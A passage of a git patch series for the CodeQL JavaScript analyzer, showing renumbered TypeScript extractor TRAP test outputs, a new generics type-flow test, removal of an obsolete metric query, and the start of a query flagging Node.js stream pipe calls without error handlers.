-expr_containers(#20319,#20001) -literals("h","h",#20319) +scopes(#20317,10) +scopenodes(#20314,#20317) +scopenesting(#20317,#20000) +#20318=* +properties(#20318,#20314,2,0,"abstract h();") +#20319=@"loc,{#10000},20,3,20,15" +locations_default(#20319,#10000,20,3,20,15) +hasLocation(#20318,#20319) #20320=* -exprs(#20320,9,#20317,1,"abstract h();") -hasLocation(#20320,#20318) -enclosing_stmt(#20320,#20312) +exprs(#20320,0,#20318,0,"h") +hasLocation(#20320,#20180) +enclosing_stmt(#20320,#20314) expr_containers(#20320,#20001) +literals("h","h",#20320) #20321=* -scopes(#20321,1) -scopenodes(#20320,#20321) -scopenesting(#20321,#20316) -#20322=@"var;{arguments};{#20321}" -variables(#20322,"arguments",#20321) -is_arguments_object(#20322) -is_method(#20317) -is_abstract_member(#20317) -#20323=* -properties(#20323,#20312,3,0,"g(x: nu ... number;") -#20324=@"loc,{#10000},23,3,23,23" -locations_default(#20324,#10000,23,3,23,23) -hasLocation(#20323,#20324) -#20325=* -exprs(#20325,0,#20323,0,"g") -hasLocation(#20325,#20188) -enclosing_stmt(#20325,#20312) -expr_containers(#20325,#20001) -literals("g","g",#20325) +exprs(#20321,9,#20318,1,"abstract h();") +hasLocation(#20321,#20319) +enclosing_stmt(#20321,#20314) +expr_containers(#20321,#20001) +#20322=* +scopes(#20322,1) +scopenodes(#20321,#20322) +scopenesting(#20322,#20317) +#20323=@"var;{arguments};{#20322}" +variables(#20323,"arguments",#20322) +is_arguments_object(#20323) +is_method(#20318) +is_abstract_member(#20318) +#20324=* +properties(#20324,#20314,3,0,"g(x: nu ... number;") +#20325=@"loc,{#10000},23,3,23,23" +locations_default(#20325,#10000,23,3,23,23) +hasLocation(#20324,#20325) #20326=* -exprs(#20326,9,#20323,1,"g(x: nu ... number;") -hasLocation(#20326,#20324) -enclosing_stmt(#20326,#20312) +exprs(#20326,0,#20324,0,"g") +hasLocation(#20326,#20188) +enclosing_stmt(#20326,#20314) expr_containers(#20326,#20001) +literals("g","g",#20326) #20327=* -scopes(#20327,1) -scopenodes(#20326,#20327) -scopenesting(#20327,#20316) -#20328=@"var;{x};{#20327}" -variables(#20328,"x",#20327) -#20329=* -exprs(#20329,78,#20326,0,"x") -hasLocation(#20329,#20192) -expr_containers(#20329,#20326) -literals("x","x",#20329) -decl(#20329,#20328) -#20330=@"var;{arguments};{#20327}" -variables(#20330,"arguments",#20327) -is_arguments_object(#20330) -#20331=* -typeexprs(#20331,2,#20326,-3,"number") -hasLocation(#20331,#20202) -expr_containers(#20331,#20326) -literals("number","number",#20331) +exprs(#20327,9,#20324,1,"g(x: nu ... number;") +hasLocation(#20327,#20325) +enclosing_stmt(#20327,#20314) +expr_containers(#20327,#20001) +#20328=* +scopes(#20328,1) +scopenodes(#20327,#20328) +scopenesting(#20328,#20317) +#20329=@"var;{x};{#20328}" +variables(#20329,"x",#20328) +#20330=* +exprs(#20330,78,#20327,0,"x") +hasLocation(#20330,#20192) +expr_containers(#20330,#20327) +literals("x","x",#20330) +decl(#20330,#20329) +#20331=@"var;{arguments};{#20328}" +variables(#20331,"arguments",#20328) +is_arguments_object(#20331) #20332=* -typeexprs(#20332,2,#20326,-6,"number") -hasLocation(#20332,#20196) -expr_containers(#20332,#20326) +typeexprs(#20332,2,#20327,-3,"number") +hasLocation(#20332,#20202) +expr_containers(#20332,#20327) literals("number","number",#20332) -is_method(#20323) #20333=* -properties(#20333,#20312,4,0,"g(x: st ... string;") -#20334=@"loc,{#10000},24,3,24,23" -locations_default(#20334,#10000,24,3,24,23) -hasLocation(#20333,#20334) -#20335=* -exprs(#20335,0,#20333,0,"g") -hasLocation(#20335,#20206) -enclosing_stmt(#20335,#20312) -expr_containers(#20335,#20001) -literals("g","g",#20335) +typeexprs(#20333,2,#20327,-6,"number") +hasLocation(#20333,#20196) +expr_containers(#20333,#20327) +literals("number","number",#20333) +is_method(#20324) +#20334=* +properties(#20334,#20314,4,0,"g(x: st ... string;") +#20335=@"loc,{#10000},24,3,24,23" +locations_default(#20335,#10000,24,3,24,23) +hasLocation(#20334,#20335) #20336=* -exprs(#20336,9,#20333,1,"g(x: st ... string;") -hasLocation(#20336,#20334) -enclosing_stmt(#20336,#20312) +exprs(#20336,0,#20334,0,"g") +hasLocation(#20336,#20206) +enclosing_stmt(#20336,#20314) expr_containers(#20336,#20001) +literals("g","g",#20336) #20337=* -scopes(#20337,1) -scopenodes(#20336,#20337) -scopenesting(#20337,#20316) -#20338=@"var;{x};{#20337}" -variables(#20338,"x",#20337) -#20339=* -exprs(#20339,78,#20336,0,"x") -hasLocation(#20339,#20210) -expr_containers(#20339,#20336) -literals("x","x",#20339) -decl(#20339,#20338) -#20340=@"var;{arguments};{#20337}" -variables(#20340,"arguments",#20337) -is_arguments_object(#20340) -#20341=* -typeexprs(#20341,2,#20336,-3,"string") -hasLocation(#20341,#20220) -expr_containers(#20341,#20336) -literals("string","string",#20341) +exprs(#20337,9,#20334,1,"g(x: st ... string;") +hasLocation(#20337,#20335) +enclosing_stmt(#20337,#20314) +expr_containers(#20337,#20001) +#20338=* +scopes(#20338,1) +scopenodes(#20337,#20338) +scopenesting(#20338,#20317) +#20339=@"var;{x};{#20338}" +variables(#20339,"x",#20338) +#20340=* +exprs(#20340,78,#20337,0,"x") +hasLocation(#20340,#20210) +expr_containers(#20340,#20337) +literals("x","x",#20340) +decl(#20340,#20339) +#20341=@"var;{arguments};{#20338}" +variables(#20341,"arguments",#20338) +is_arguments_object(#20341) #20342=* -typeexprs(#20342,2,#20336,-6,"string") -hasLocation(#20342,#20214) -expr_containers(#20342,#20336) +typeexprs(#20342,2,#20337,-3,"string") +hasLocation(#20342,#20220) +expr_containers(#20342,#20337) literals("string","string",#20342) -is_method(#20333) #20343=* -properties(#20343,#20312,5,0,"g(x: any) {}") -#20344=@"loc,{#10000},25,3,25,14" -locations_default(#20344,#10000,25,3,25,14) -hasLocation(#20343,#20344) -#20345=* -exprs(#20345,0,#20343,0,"g") -hasLocation(#20345,#20224) -enclosing_stmt(#20345,#20312) -expr_containers(#20345,#20001) -literals("g","g",#20345) +typeexprs(#20343,2,#20337,-6,"string") +hasLocation(#20343,#20214) +expr_containers(#20343,#20337) +literals("string","string",#20343) +is_method(#20334) +#20344=* +properties(#20344,#20314,5,0,"g(x: any) {}") +#20345=@"loc,{#10000},25,3,25,14" +locations_default(#20345,#10000,25,3,25,14) +hasLocation(#20344,#20345) #20346=* -exprs(#20346,9,#20343,1,"g(x: any) {}") -hasLocation(#20346,#20344) -enclosing_stmt(#20346,#20312) +exprs(#20346,0,#20344,0,"g") +hasLocation(#20346,#20224) +enclosing_stmt(#20346,#20314) expr_containers(#20346,#20001) +literals("g","g",#20346) #20347=* -scopes(#20347,1) -scopenodes(#20346,#20347) -scopenesting(#20347,#20316) -#20348=@"var;{x};{#20347}" -variables(#20348,"x",#20347) -#20349=* -exprs(#20349,78,#20346,0,"x") -hasLocation(#20349,#20228) -expr_containers(#20349,#20346) -literals("x","x",#20349) -decl(#20349,#20348) -#20350=@"var;{arguments};{#20347}" -variables(#20350,"arguments",#20347) -is_arguments_object(#20350) -#20351=* -typeexprs(#20351,2,#20346,-6,"any") -hasLocation(#20351,#20232) -expr_containers(#20351,#20346) -literals("any","any",#20351) +exprs(#20347,9,#20344,1,"g(x: any) {}") +hasLocation(#20347,#20345) +enclosing_stmt(#20347,#20314) +expr_containers(#20347,#20001) +#20348=* +scopes(#20348,1) +scopenodes(#20347,#20348) +scopenesting(#20348,#20317) +#20349=@"var;{x};{#20348}" +variables(#20349,"x",#20348) +#20350=* +exprs(#20350,78,#20347,0,"x") +hasLocation(#20350,#20228) +expr_containers(#20350,#20347) +literals("x","x",#20350) +decl(#20350,#20349) +#20351=@"var;{arguments};{#20348}" +variables(#20351,"arguments",#20348) +is_arguments_object(#20351) #20352=* -stmts(#20352,1,#20346,-2,"{}") -#20353=@"loc,{#10000},25,13,25,14" -locations_default(#20353,#10000,25,13,25,14) -hasLocation(#20352,#20353) -stmt_containers(#20352,#20346) -is_method(#20343) -#20354=* -properties(#20354,#20312,6,8,"abstract x: number;") -#20355=@"loc,{#10000},28,3,28,21" -locations_default(#20355,#10000,28,3,28,21) -hasLocation(#20354,#20355) -#20356=* +typeexprs(#20352,2,#20347,-6,"any") +hasLocation(#20352,#20232) +expr_containers(#20352,#20347) +literals("any","any",#20352) +#20353=* +stmts(#20353,1,#20347,-2,"{}") +#20354=@"loc,{#10000},25,13,25,14" +locations_default(#20354,#10000,25,13,25,14) +hasLocation(#20353,#20354) +stmt_containers(#20353,#20347) +is_method(#20344) +#20355=* +properties(#20355,#20314,6,8,"abstract x: number;") +#20356=@"loc,{#10000},28,3,28,21" +locations_default(#20356,#10000,28,3,28,21) +hasLocation(#20355,#20356) #20357=* -exprs(#20357,0,#20354,0,"x") -hasLocation(#20357,#20242) -expr_containers(#20357,#20356) -literals("x","x",#20357) -is_abstract_member(#20354) #20358=* -typeexprs(#20358,2,#20354,2,"number") -hasLocation(#20358,#20246) -enclosing_stmt(#20358,#20312) -expr_containers(#20358,#20001) -literals("number","number",#20358) +exprs(#20358,0,#20355,0,"x") +hasLocation(#20358,#20242) +expr_containers(#20358,#20357) +literals("x","x",#20358) +is_abstract_member(#20355) #20359=* -properties(#20359,#20312,7,0,"constructor() {}") -#20360=@"loc,{#10000},18,26,18,25" -locations_default(#20360,#10000,18,26,18,25) -hasLocation(#20359,#20360) -#20361=* -exprs(#20361,0,#20359,0,"constructor") -hasLocation(#20361,#20360) -enclosing_stmt(#20361,#20312) -expr_containers(#20361,#20001) -literals("constructor","constructor",#20361) -exprs(#20356,9,#20359,1,"() {}") -hasLocation(#20356,#20360) -enclosing_stmt(#20356,#20312) -expr_containers(#20356,#20001) +typeexprs(#20359,2,#20355,2,"number") +hasLocation(#20359,#20246) +enclosing_stmt(#20359,#20314) +expr_containers(#20359,#20001) +literals("number","number",#20359) +#20360=* +properties(#20360,#20314,7,0,"constructor() {}") +#20361=@"loc,{#10000},18,26,18,25" +locations_default(#20361,#10000,18,26,18,25) +hasLocation(#20360,#20361) #20362=* -scopes(#20362,1) -scopenodes(#20356,#20362) -scopenesting(#20362,#20316) -#20363=@"var;{arguments};{#20362}" -variables(#20363,"arguments",#20362) -is_arguments_object(#20363) -#20364=* -stmts(#20364,1,#20356,-2,"{}") -hasLocation(#20364,#20360) -stmt_containers(#20364,#20356) -is_method(#20359) +exprs(#20362,0,#20360,0,"constructor") +hasLocation(#20362,#20361) +enclosing_stmt(#20362,#20314) +expr_containers(#20362,#20001) +literals("constructor","constructor",#20362) +exprs(#20357,9,#20360,1,"() {}") +hasLocation(#20357,#20361) +enclosing_stmt(#20357,#20314) +expr_containers(#20357,#20001) +#20363=* +scopes(#20363,1) +scopenodes(#20357,#20363) +scopenesting(#20363,#20317) +#20364=@"var;{arguments};{#20363}" +variables(#20364,"arguments",#20363) +is_arguments_object(#20364) #20365=* -entry_cfg_node(#20365,#20001) -#20366=@"loc,{#10000},2,1,2,0" -locations_default(#20366,#10000,2,1,2,0) -hasLocation(#20365,#20366) -#20367=* -exit_cfg_node(#20367,#20001) -hasLocation(#20367,#20251) -successor(#20312,#20367) -successor(#20303,#20306) +stmts(#20365,1,#20357,-2,"{}") +hasLocation(#20365,#20361) +stmt_containers(#20365,#20357) +is_method(#20360) +#20366=* +entry_cfg_node(#20366,#20001) +#20367=@"loc,{#10000},2,1,2,0" +locations_default(#20367,#10000,2,1,2,0) +hasLocation(#20366,#20367) #20368=* -entry_cfg_node(#20368,#20303) -hasLocation(#20368,#20307) +exit_cfg_node(#20368,#20001) +hasLocation(#20368,#20251) +successor(#20314,#20368) +successor(#20305,#20308) #20369=* -exit_cfg_node(#20369,#20303) -hasLocation(#20369,#20307) -successor(#20311,#20369) -successor(#20368,#20311) -successor(#20308,#20303) -successor(#20306,#20260) -successor(#20293,#20290) +entry_cfg_node(#20369,#20305) +hasLocation(#20369,#20309) #20370=* -entry_cfg_node(#20370,#20293) -#20371=@"loc,{#10000},11,3,11,2" -locations_default(#20371,#10000,11,3,11,2) -hasLocation(#20370,#20371) -#20372=* -exit_cfg_node(#20372,#20293) -#20373=@"loc,{#10000},11,15,11,14" -locations_default(#20373,#10000,11,15,11,14) -hasLocation(#20372,#20373) -successor(#20299,#20372) -successor(#20296,#20299) -successor(#20370,#20296) -successor(#20292,#20293) -successor(#20290,#20308) -successor(#20280,#20292) -successor(#20270,#20280) -successor(#20264,#20270) -successor(#20262,#20264) -successor(#20260,#20312) -successor(#20255,#20262) -successor(#20365,#20255) +exit_cfg_node(#20370,#20305) +hasLocation(#20370,#20309) +successor(#20313,#20370) +successor(#20369,#20313) +successor(#20310,#20305) +successor(#20308,#20262) +successor(#20295,#20292) +#20371=* +entry_cfg_node(#20371,#20295) +#20372=@"loc,{#10000},11,3,11,2" +locations_default(#20372,#10000,11,3,11,2) +hasLocation(#20371,#20372) +#20373=* +exit_cfg_node(#20373,#20295) +#20374=@"loc,{#10000},11,15,11,14" +locations_default(#20374,#10000,11,15,11,14) +hasLocation(#20373,#20374) +successor(#20301,#20373) +successor(#20298,#20301) +successor(#20371,#20298) +successor(#20294,#20295) +successor(#20292,#20310) +successor(#20282,#20294) +successor(#20272,#20282) +successor(#20266,#20272) +successor(#20264,#20266) +successor(#20262,#20314) +successor(#20258,#20264) +successor(#20366,#20258) numlines(#10000,29,15,8) filetype(#10000,"typescript") diff --git a/javascript/extractor/tests/ts/output/trap/thisparameter.ts.trap b/javascript/extractor/tests/ts/output/trap/thisparameter.ts.trap index 0e766cf77b9..27b075f05c7 100644 --- a/javascript/extractor/tests/ts/output/trap/thisparameter.ts.trap +++ b/javascript/extractor/tests/ts/output/trap/thisparameter.ts.trap @@ -425,146 +425,146 @@ hasLocation(#20001,#20158) variables(#20159,"declaration",#20000) #20160=@"var;{f};{#20000}" variables(#20160,"f",#20000) -#20161=@"var;{C};{#20000}" -variables(#20161,"C",#20000) -#20162=@"local_type_name;{C};{#20000}" -local_type_names(#20162,"C",#20000) -#20163=@"local_type_name;{I};{#20000}" -local_type_names(#20163,"I",#20000) -#20164=* -stmts(#20164,17,#20001,0,"functio ... ber) {}") -hasLocation(#20164,#20003) -stmt_containers(#20164,#20001) +#20161=@"var;{ambient};{#20000}" +variables(#20161,"ambient",#20000) +#20162=@"var;{C};{#20000}" +variables(#20162,"C",#20000) +#20163=@"local_type_name;{C};{#20000}" +local_type_names(#20163,"C",#20000) +#20164=@"local_type_name;{I};{#20000}" +local_type_names(#20164,"I",#20000) #20165=* -exprs(#20165,78,#20164,-1,"declaration") -hasLocation(#20165,#20033) -expr_containers(#20165,#20164) -literals("declaration","declaration",#20165) -decl(#20165,#20159) +stmts(#20165,17,#20001,0,"functio ... ber) {}") +hasLocation(#20165,#20003) +stmt_containers(#20165,#20001) #20166=* -scopes(#20166,1) -scopenodes(#20164,#20166) -scopenesting(#20166,#20000) -#20167=@"var;{x};{#20166}" -variables(#20167,"x",#20166) -#20168=* -exprs(#20168,78,#20164,0,"x") -hasLocation(#20168,#20045) -expr_containers(#20168,#20164) -literals("x","x",#20168) -decl(#20168,#20167) -#20169=@"var;{arguments};{#20166}" -variables(#20169,"arguments",#20166) -is_arguments_object(#20169) -#20170=* -typeexprs(#20170,2,#20164,-4,"void") -hasLocation(#20170,#20041) -expr_containers(#20170,#20164) -literals("void","void",#20170) +exprs(#20166,78,#20165,-1,"declaration") +hasLocation(#20166,#20033) +expr_containers(#20166,#20165) +literals("declaration","declaration",#20166) +decl(#20166,#20159) +#20167=* +scopes(#20167,1) +scopenodes(#20165,#20167) +scopenesting(#20167,#20000) +#20168=@"var;{x};{#20167}" +variables(#20168,"x",#20167) +#20169=* +exprs(#20169,78,#20165,0,"x") +hasLocation(#20169,#20045) +expr_containers(#20169,#20165) +literals("x","x",#20169) +decl(#20169,#20168) +#20170=@"var;{arguments};{#20167}" +variables(#20170,"arguments",#20167) +is_arguments_object(#20170) #20171=* -typeexprs(#20171,2,#20164,-6,"number") -hasLocation(#20171,#20049) -expr_containers(#20171,#20164) -literals("number","number",#20171) +typeexprs(#20171,2,#20165,-4,"void") +hasLocation(#20171,#20041) +expr_containers(#20171,#20165) +literals("void","void",#20171) #20172=* -stmts(#20172,1,#20164,-2,"{}") -#20173=@"loc,{#10000},1,45,1,46" -locations_default(#20173,#10000,1,45,1,46) -hasLocation(#20172,#20173) -stmt_containers(#20172,#20164) -#20174=* -stmts(#20174,18,#20001,1,"var f = ... ber) {}") -hasLocation(#20174,#20007) -stmt_containers(#20174,#20001) +typeexprs(#20172,2,#20165,-6,"number") +hasLocation(#20172,#20049) +expr_containers(#20172,#20165) +literals("number","number",#20172) +#20173=* +stmts(#20173,1,#20165,-2,"{}") +#20174=@"loc,{#10000},1,45,1,46" +locations_default(#20174,#10000,1,45,1,46) +hasLocation(#20173,#20174) +stmt_containers(#20173,#20165) #20175=* -exprs(#20175,64,#20174,0,"f = fun ... ber) {}") -#20176=@"loc,{#10000},3,5,3,44" -locations_default(#20176,#10000,3,5,3,44) -hasLocation(#20175,#20176) -enclosing_stmt(#20175,#20174) -expr_containers(#20175,#20001) -#20177=* -exprs(#20177,78,#20175,0,"f") -hasLocation(#20177,#20059) -enclosing_stmt(#20177,#20174) -expr_containers(#20177,#20001) -literals("f","f",#20177) -decl(#20177,#20160) +stmts(#20175,18,#20001,1,"var f = ... ber) {}") +hasLocation(#20175,#20007) +stmt_containers(#20175,#20001) +#20176=* +exprs(#20176,64,#20175,0,"f = fun ... ber) {}") +#20177=@"loc,{#10000},3,5,3,44" +locations_default(#20177,#10000,3,5,3,44) +hasLocation(#20176,#20177) +enclosing_stmt(#20176,#20175) +expr_containers(#20176,#20001) #20178=* -exprs(#20178,9,#20175,1,"functio ... ber) {}") -#20179=@"loc,{#10000},3,9,3,44" -locations_default(#20179,#10000,3,9,3,44) -hasLocation(#20178,#20179) -enclosing_stmt(#20178,#20174) +exprs(#20178,78,#20176,0,"f") +hasLocation(#20178,#20059) +enclosing_stmt(#20178,#20175) expr_containers(#20178,#20001) -#20180=* -scopes(#20180,1) -scopenodes(#20178,#20180) -scopenesting(#20180,#20000) -#20181=@"var;{x};{#20180}" -variables(#20181,"x",#20180) -#20182=* -exprs(#20182,78,#20178,0,"x") -hasLocation(#20182,#20075) -expr_containers(#20182,#20178) -literals("x","x",#20182) -decl(#20182,#20181) -#20183=@"var;{arguments};{#20180}" -variables(#20183,"arguments",#20180) -is_arguments_object(#20183) -#20184=* -typeexprs(#20184,2,#20178,-4,"string") -hasLocation(#20184,#20071) -expr_containers(#20184,#20178) -literals("string","string",#20184) +literals("f","f",#20178) +decl(#20178,#20160) +#20179=* +exprs(#20179,9,#20176,1,"functio ... ber) {}") +#20180=@"loc,{#10000},3,9,3,44" +locations_default(#20180,#10000,3,9,3,44) +hasLocation(#20179,#20180) +enclosing_stmt(#20179,#20175) +expr_containers(#20179,#20001) +#20181=* +scopes(#20181,1) +scopenodes(#20179,#20181) +scopenesting(#20181,#20000) +#20182=@"var;{x};{#20181}" +variables(#20182,"x",#20181) +#20183=* +exprs(#20183,78,#20179,0,"x") +hasLocation(#20183,#20075) +expr_containers(#20183,#20179) +literals("x","x",#20183) +decl(#20183,#20182) +#20184=@"var;{arguments};{#20181}" +variables(#20184,"arguments",#20181) +is_arguments_object(#20184) #20185=* -typeexprs(#20185,2,#20178,-6,"number") -hasLocation(#20185,#20079) -expr_containers(#20185,#20178) -literals("number","number",#20185) +typeexprs(#20185,2,#20179,-4,"string") +hasLocation(#20185,#20071) +expr_containers(#20185,#20179) +literals("string","string",#20185) #20186=* -stmts(#20186,1,#20178,-2,"{}") -#20187=@"loc,{#10000},3,43,3,44" -locations_default(#20187,#10000,3,43,3,44) -hasLocation(#20186,#20187) -stmt_containers(#20186,#20178) -#20188=* -stmts(#20188,17,#20001,2,"declare ... umber);") -hasLocation(#20188,#20011) -stmt_containers(#20188,#20001) -has_declare_keyword(#20188) +typeexprs(#20186,2,#20179,-6,"number") +hasLocation(#20186,#20079) +expr_containers(#20186,#20179) +literals("number","number",#20186) +#20187=* +stmts(#20187,1,#20179,-2,"{}") +#20188=@"loc,{#10000},3,43,3,44" +locations_default(#20188,#10000,3,43,3,44) +hasLocation(#20187,#20188) +stmt_containers(#20187,#20179) #20189=* -exprs(#20189,78,#20188,-1,"ambient") -hasLocation(#20189,#20091) -expr_containers(#20189,#20188) -literals("ambient","ambient",#20189) -#20190=@"var;{ambient};{#20000}" -variables(#20190,"ambient",#20000) -decl(#20189,#20190) +stmts(#20189,17,#20001,2,"declare ... umber);") +hasLocation(#20189,#20011) +stmt_containers(#20189,#20001) +has_declare_keyword(#20189) +#20190=* +exprs(#20190,78,#20189,-1,"ambient") +hasLocation(#20190,#20091) +expr_containers(#20190,#20189) +literals("ambient","ambient",#20190) +decl(#20190,#20161) #20191=* scopes(#20191,1) -scopenodes(#20188,#20191) +scopenodes(#20189,#20191) scopenesting(#20191,#20000) #20192=@"var;{x};{#20191}" variables(#20192,"x",#20191) #20193=* -exprs(#20193,78,#20188,0,"x") +exprs(#20193,78,#20189,0,"x") hasLocation(#20193,#20103) -expr_containers(#20193,#20188) +expr_containers(#20193,#20189) literals("x","x",#20193) decl(#20193,#20192) #20194=@"var;{arguments};{#20191}" variables(#20194,"arguments",#20191) is_arguments_object(#20194) #20195=* -typeexprs(#20195,2,#20188,-4,"string") +typeexprs(#20195,2,#20189,-4,"string") hasLocation(#20195,#20099) -expr_containers(#20195,#20188) +expr_containers(#20195,#20189) literals("string","string",#20195) #20196=* -typeexprs(#20196,2,#20188,-6,"number") +typeexprs(#20196,2,#20189,-6,"number") hasLocation(#20196,#20107) -expr_containers(#20196,#20188) +expr_containers(#20196,#20189) literals("number","number",#20196) #20197=* stmts(#20197,26,#20001,3,"class C ... C) {}\n}") @@ -578,8 +578,8 @@ hasLocation(#20199,#20115) enclosing_stmt(#20199,#20197) expr_containers(#20199,#20001) literals("C","C",#20199) -decl(#20199,#20161) -typedecl(#20199,#20162) +decl(#20199,#20162) +typedecl(#20199,#20163) #20200=* scopes(#20200,10) scopenodes(#20197,#20200) @@ -612,7 +612,7 @@ typeexprs(#20207,0,#20204,-4,"C") hasLocation(#20207,#20127) expr_containers(#20207,#20204) literals("C","C",#20207) -typebind(#20207,#20162) +typebind(#20207,#20163) #20208=* stmts(#20208,1,#20204,-2,"{}") #20209=@"loc,{#10000},8,19,8,20" @@ -660,7 +660,7 @@ hasLocation(#20219,#20138) enclosing_stmt(#20219,#20217) expr_containers(#20219,#20001) literals("I","I",#20219) -typedecl(#20219,#20163) +typedecl(#20219,#20164) #20220=* properties(#20220,#20217,2,0,"method(this: I);") #20221=@"loc,{#10000},12,3,12,18" @@ -689,7 +689,7 @@ typeexprs(#20226,0,#20223,-4,"I") hasLocation(#20226,#20150) expr_containers(#20226,#20223) literals("I","I",#20226) -typebind(#20226,#20163) +typebind(#20226,#20164) is_method(#20220) is_abstract_member(#20220) #20227=* @@ -729,37 +729,37 @@ successor(#20203,#20204) successor(#20201,#20212) successor(#20199,#20203) successor(#20197,#20217) -successor(#20188,#20199) -successor(#20174,#20177) -successor(#20178,#20175) +successor(#20189,#20199) +successor(#20175,#20178) +successor(#20179,#20176) #20236=* -entry_cfg_node(#20236,#20178) +entry_cfg_node(#20236,#20179) #20237=@"loc,{#10000},3,9,3,8" locations_default(#20237,#10000,3,9,3,8) hasLocation(#20236,#20237) #20238=* -exit_cfg_node(#20238,#20178) +exit_cfg_node(#20238,#20179) #20239=@"loc,{#10000},3,45,3,44" locations_default(#20239,#10000,3,45,3,44) hasLocation(#20238,#20239) -successor(#20186,#20238) -successor(#20182,#20186) -successor(#20236,#20182) -successor(#20177,#20178) -successor(#20175,#20188) -successor(#20164,#20174) +successor(#20187,#20238) +successor(#20183,#20187) +successor(#20236,#20183) +successor(#20178,#20179) +successor(#20176,#20189) +successor(#20165,#20175) #20240=* -entry_cfg_node(#20240,#20164) +entry_cfg_node(#20240,#20165) hasLocation(#20240,#20228) #20241=* -exit_cfg_node(#20241,#20164) +exit_cfg_node(#20241,#20165) #20242=@"loc,{#10000},1,47,1,46" locations_default(#20242,#10000,1,47,1,46) hasLocation(#20241,#20242) -successor(#20172,#20241) -successor(#20168,#20172) -successor(#20240,#20168) -successor(#20165,#20164) -successor(#20227,#20165) +successor(#20173,#20241) +successor(#20169,#20173) +successor(#20240,#20169) +successor(#20166,#20165) +successor(#20227,#20166) numlines(#10000,14,9,0) filetype(#10000,"typescript") From b698b4e5e26b65341033df48aef947c8fb1e802b Mon Sep 17 00:00:00 2001 From: Asger F Date: Tue, 20 May 2025 12:55:41 +0200 Subject: [PATCH 059/271] JS: Add test for missing type flow through generics --- .../library-tests/UnderlyingTypes/generics.ts | 46 +++++++++++++++++++ 1 file changed, 46 insertions(+) create mode 100644 javascript/ql/test/library-tests/UnderlyingTypes/generics.ts diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/generics.ts b/javascript/ql/test/library-tests/UnderlyingTypes/generics.ts new file mode 100644 index 00000000000..26e4499f4da --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/generics.ts @@ -0,0 +1,46 @@ +import * as express from 'express'; + +type Box1 = { + value: T; + other: string; +}; +function t1(b: Box1) { + b.value; // $ MISSING: hasUnderlyingType='express'.Request + b.other; +} + +interface Box2 { + value: T; + other: string; +} +function t2(b: Box2) { + b.value; // $ MISSING: hasUnderlyingType='express'.Request + b.other; +} + +class Box3 { + value: T; + other: string; +} +function t3(b: Box3) { + b.value; // $ MISSING: hasUnderlyingType='express'.Request + b.other; +} + +abstract class Box4 { + abstract getValue(): T; + abstract getOther(): string; +} +function t4(b: Box4) { + b.getValue(); // $ MISSING: hasUnderlyingType='express'.Request + b.getOther(); +} + +type Box5 = { + value: T & { blah: string }; + other: string; +}; +function t5(b: Box5) { + b.value; // $ MISSING: hasUnderlyingType='express'.Request + b.other; +} From d644f8092190973a4c68279f3229c7d52808e156 Mon Sep 17 00:00:00 2001 From: Asger F Date: Tue, 20 May 2025 15:56:50 +0200 Subject: [PATCH 060/271] JS: Remove obsolete meta query --- .../query-suite/not_included_in_qls.expected | 1 - .../ql/src/meta/types/TypesWithQualifiedName.ql | 14 -------------- 2 files changed, 15 deletions(-) delete mode 100644 javascript/ql/src/meta/types/TypesWithQualifiedName.ql diff --git a/javascript/ql/integration-tests/query-suite/not_included_in_qls.expected b/javascript/ql/integration-tests/query-suite/not_included_in_qls.expected index a6c808c6cbf..aa1d8b2c81d 100644 --- a/javascript/ql/integration-tests/query-suite/not_included_in_qls.expected +++ b/javascript/ql/integration-tests/query-suite/not_included_in_qls.expected @@ -145,4 +145,3 @@ ql/javascript/ql/src/meta/extraction-metrics/FileData.ql ql/javascript/ql/src/meta/extraction-metrics/MissingMetrics.ql ql/javascript/ql/src/meta/extraction-metrics/PhaseTimings.ql ql/javascript/ql/src/meta/types/TypedExprs.ql -ql/javascript/ql/src/meta/types/TypesWithQualifiedName.ql diff --git a/javascript/ql/src/meta/types/TypesWithQualifiedName.ql b/javascript/ql/src/meta/types/TypesWithQualifiedName.ql deleted file mode 100644 index db23d2a807e..00000000000 --- a/javascript/ql/src/meta/types/TypesWithQualifiedName.ql +++ /dev/null @@ -1,14 +0,0 @@ -/** - * @name Types with qualified name - * @description The number of type annotations with a qualified name - * @kind metric - * @metricType project - * @metricAggregate sum - * @tags meta - * @id js/meta/types-with-qualified-name - */ - -import javascript -import meta.MetaMetrics - -select projectRoot(), count(TypeAnnotation t | t.hasQualifiedName(_) or t.hasQualifiedName(_, _)) From c27157f02162a94b5b926560bb23f552d079454f Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 20 May 2025 12:45:11 +0200 Subject: [PATCH 061/271] Add `UnhandledStreamPipee` Quality query and tests to detect missing error handlers in `Node.js` streams --- .../ql/src/Quality/UnhandledStreamPipe.ql | 97 +++++++++++++ .../Quality/UnhandledStreamPipe/test.expected | 10 ++ .../Quality/UnhandledStreamPipe/test.js | 137 ++++++++++++++++++ .../Quality/UnhandledStreamPipe/test.qlref | 2 + 4 files changed, 246 insertions(+) create mode 100644 javascript/ql/src/Quality/UnhandledStreamPipe.ql create mode 100644 javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected create mode 100644 javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js create mode 100644 javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.qlref diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql new file mode 100644 index 00000000000..bca1044ad1e --- /dev/null +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -0,0 +1,97 @@ +/** + * @id js/nodejs-stream-pipe-without-error-handling + * @name Node.js stream pipe without error handling + * @description Calling `pipe()` on a stream without error handling may silently drop errors and prevent proper propagation. + * @kind problem + * @problem.severity warning + * @precision high + * @tags quality + * frameworks/nodejs + */ + +import javascript + +/** + * A call to the `pipe` method on a Node.js stream. + */ +class PipeCall extends DataFlow::MethodCallNode { + PipeCall() { this.getMethodName() = "pipe" } + + /** Gets the source stream (receiver of the pipe call). */ + DataFlow::Node getSourceStream() { result = this.getReceiver() } + + /** Gets the destination stream (argument of the pipe call). */ + DataFlow::Node getDestinationStream() { result = this.getArgument(0) } +} + +/** + * Gets the method names used to register event handlers on Node.js streams. + * These methods are used to attach handlers for events like `error`. + */ +string getEventHandlerMethodName() { result = ["on", "once", "addListener"] } + +/** + * A call to register an event handler on a Node.js stream. + * This includes methods like `on`, `once`, and `addListener`. + */ +class StreamEventRegistration extends DataFlow::MethodCallNode { + StreamEventRegistration() { 